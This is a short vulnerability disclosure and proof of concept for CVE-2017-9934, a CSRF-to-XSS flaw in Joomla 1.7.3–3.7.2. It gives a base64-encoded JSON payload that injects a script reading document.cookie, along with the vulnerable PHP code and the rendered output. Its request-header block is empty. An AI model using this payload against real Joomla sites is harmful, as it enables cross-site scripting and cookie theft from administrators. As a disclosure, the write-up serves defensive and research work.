# CVE-2017-9934 (I am the reporter of this exploit, under name: Envo)
Joomla 1.7.3 - 3.7.2 CSRF exploit PoC 

This vulnerability works due to Joomla versions 1.7.3 to 3.7.2 not sanitizing base64 input. 

#Headers:
```

The 'task' parameter in the above request triggers the controller function setType() in /administrator/components/com_menus/controllers/item.php, which does not require a CSRF token. This function takes base64 input in another parameter ('jform[type]') and decodes it into JSON data, without sanitization. If we craft the JSON as so:
```

#Base64: 
```
eyJpZCI6MCwidGl0bGUiOiJjb21wb25lbnQiLCJyZXF1ZXN0Ijp7Im9wdGlvbiI6ImNvbV9mb288c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4ifX0=
```
#JSON:
```
{"id":0,"title":"component","request":{"option":"com_foo<script>alert(document.cookie)</script>"}}

We can trigger an error in the load() function in /libraries/cms/component/helper.php. The $option variable contains our payload which is printed to the screen without sanitisation, resulting in XSS:
```

```Source:

if (JFactory::$language)
{
    $msg = JText::sprintf('JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING', $option, JText::_('JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND'));
}
else
{
    $msg = sprintf('Error loading component: %1$s, %2$s', $option, 'Component not found.');
}

Rendered:

<h4 class="alert-heading">Warning</h4>
   <div class="alert-message">Error loading component: com_foo<script>alert(document.cookie)</script>, Component not found.</div>
```
